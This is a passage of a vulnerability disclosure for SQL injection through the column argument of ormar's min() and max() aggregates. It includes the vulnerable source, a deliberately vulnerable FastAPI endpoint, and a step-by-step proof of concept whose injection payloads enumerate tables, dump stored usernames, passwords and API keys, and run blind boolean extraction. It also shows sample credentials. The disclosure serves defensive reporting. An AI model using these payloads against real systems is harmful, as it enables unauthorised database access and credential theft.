The apply_func() method then wraps this raw text clause inside func.max(), producing SQL like max(<attacker_input>). Since sqlalchemy.text() treats its argument as literal SQL, any subquery or SQL expression injected through the column name will be executed by the database engine.

The _query_aggr_function() method (line 704-719, queryset.py) only validates field types for sum and avg, leaving min and max completely unprotected:

#queryset.py line 704-719
async def _query_aggr_function(self, func_name: str, columns: List) -> Any:
    func = getattr(sqlalchemy.func, func_name)
    select_actions = [
        SelectAction(select_str=column, model_cls=self.model) for column in columns
    ]
    if func_name in ["sum", "avg"]:          # <-- only sum/avg are checked!
        if any(not x.is_numeric for x in select_actions):
            raise QueryDefinitionError(...)
    select_columns = [x.apply_func(func, use_label=True) for x in select_actions]
    expr = self.build_select_expression().alias(f"subquery_for_{func_name}")
    expr = sqlalchemy.select(*select_columns).select_from(expr)
    result = await self.database.fetch_one(expr)
    return dict(result) if len(result) > 1 else result[0]

To reproduce the attack, you can follow the steps below, using a FastAPI application with SQLite as an example.

Note: The PoC consists of two files provided in the attachments — poc_server.py (the vulnerable server) and poc_attacker.py (the HTTP-based attacker script).

@app.get("/items/stats") async def item_stats( metric: str = Query("max", description="max or min"), column: str = Query("price", description="Column to aggregate"), ): """Return aggregate statistics for items.""" if metric == "max": result = await Item.objects.max(column) elif metric == "min": result = await Item.objects.min(column) else: return {"error": "Unsupported metric"} return {"metric": metric, "column": column, "result": result} </code></pre>

1. Install dependencies:

pip install ormar databases aiosqlite fastapi uvicorn httpx

1. The vulnerable server (poc_server.py) is based on the official ormar FastAPI example ([ormar/examples/fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)). The only modification is the addition of a /items/stats endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.

The server defines three models:

• Category and Item — from the official ormar example (unchanged)
• AdminUser — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API

The vulnerable endpoint:

# Added endpoint: aggregate statistics (VULNERABLE)
# This is a common and natural pattern — letting users request
# statistics on different columns. The ormar documentation itself
# shows: await Book.objects.max(columns=["year"])
# See: <https://collerek.github.io/ormar/queries/aggregations/>

@app.get("/items/stats")
async def item_stats(
    metric: str = Query("max", description="max or min"),
    column: str = Query("price", description="Column to aggregate"),
):
    """Return aggregate statistics for items."""
    if metric == "max":
        result = await Item.objects.max(column)
    elif metric == "min":
        result = await Item.objects.min(column)
    else:
        return {"error": "Unsupported metric"}
    return {"metric": metric, "column": column, "result": result}

The database contains:

The admin_users table is NOT exposed via any API endpoint.

The attack steps

The PoC requires two terminals:

Terminal 1 — Start the vulnerable server:

python poc_server.py

Terminal 2 — Run the attacker script:

python poc_attacker.py

The attacker script (poc_attacker.py) sends HTTP requests to the running server. It has NO prior knowledge of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single /items/stats endpoint.

Principle of vulnerability exploitation

1. The attacker confirms injection by sending an arithmetic expression

The attacker sends GET /items/stats?metric=max&column=1+1. The data flow is:

HTTP request: GET /items/stats?metric=max&column=1+1
    ↓
item_stats(metric="max", column="1+1")                # poc_server.py
    ↓
Item.objects.max("1+1")                                # queryset.py:721
    ↓
_query_aggr_function(func_name="max", columns=["1+1"]) # queryset.py:704
    ↓
SelectAction(select_str="1+1", model_cls=Item)          # select_action.py:22
    ↓
_split_value_into_parts("1+1")  →  self.field_name = "1+1"
    ↓
# min/max skip the is_numeric check (line 709 only checks sum/avg)
    ↓
get_text_clause()  →  sqlalchemy.text("1+1")            # select_action.py:43
    ↓
apply_func(sqlalchemy.func.max)  →  max(1+1)

Generated SQL:

SELECT max(1+1) AS "1+1"
FROM (SELECT items.id AS id, items.name AS name, items.price AS price,
             items.category AS category
      FROM items) AS subquery_for_max

The API returns {"metric":"max","column":"1+1","result":2}, confirming that the arithmetic expression was evaluated as SQL.

2. The attacker enumerates database tables

The attacker injects a subquery to read sqlite_master:

GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')

Which internally calls:

await Item.objects.max(
    "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
)

Generated SQL:

SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))
       AS "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
FROM (SELECT items.id, items.name, items.price, items.category
      FROM items) AS subquery_for_max

The API returns categories,admin_users,items, revealing the hidden admin_users table.

3. The attacker extracts the schema of the target table

GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users')

The API returns the full CREATE TABLE statement, revealing column names: username, password, api_key.

4. The attacker dumps all credentials in a single query

GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)

Generated SQL:

SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))
            FROM admin_users))
       AS "..."
FROM (SELECT items.id, items.name, items.price, items.category
      FROM items) AS subquery_for_max

The API returns all credentials:

root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod
deploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci

5. Blind boolean-based extraction (when results are not directly visible)

Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:

GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END

Which internally calls:

# "Is the Nth character of root's password greater than ASCII code M?"
await Item.objects.max(
    "CASE WHEN UNICODE(SUBSTR("
    "(SELECT password FROM admin_users WHERE username='root'),1,1))>83 "
    "THEN 1 ELSE 0 END"
)
# Returns 0 → first character is 'S' (ASCII 83)

By iterating over each position with binary search, the full password Sup3r$ecretP@ss! is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).

6. The attacker extracts the production API key

GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root')

The API returns: ak-9f8e7d6c5b4a3210-prod

All data was extracted through a single public API endpoint using only unauthenticated GET requests.

The complete POC

poc_server.py (Vulnerable Server)

Based on the official ormar FastAPI example ([fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)):

"""
CVE PoC — Vulnerable Server
=============================
Based on the OFFICIAL ormar FastAPI example:
    <https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py>

The only modification is the addition of a /items/stats endpoint (line 63-76),
which is a common pattern for any application that provides aggregate statistics.

Usage:
    python poc_server.py
"""

# ── Original official example code (unchanged) ───────────────
# Source: ormar/examples/fastapi_quick_start.py

from contextlib import asynccontextmanager
from typing import List, Optional

import databases
import ormar
import sqlalchemy
import uvicorn
from fastapi import FastAPI, Query

DATABASE_URL = "sqlite:///poc_vuln.db"

ormar_base_config = ormar.OrmarConfig(
    database=databases.Database(DATABASE_URL), metadata=sqlalchemy.MetaData()
)

class Category(ormar.Model):
    ormar_config = ormar_base_config.copy(tablename="categories")

    id: int = ormar.Integer(primary_key=True)
    name: str = ormar.String(max_length=100)

class Item(ormar.Model):
    ormar_config = ormar_base_config.copy(tablename="items")

    id: int = ormar.Integer(primary_key=True)
    name: str = ormar.String(max_length=100)
    price: float = ormar.Float(default=0)
    category: Optional[Category]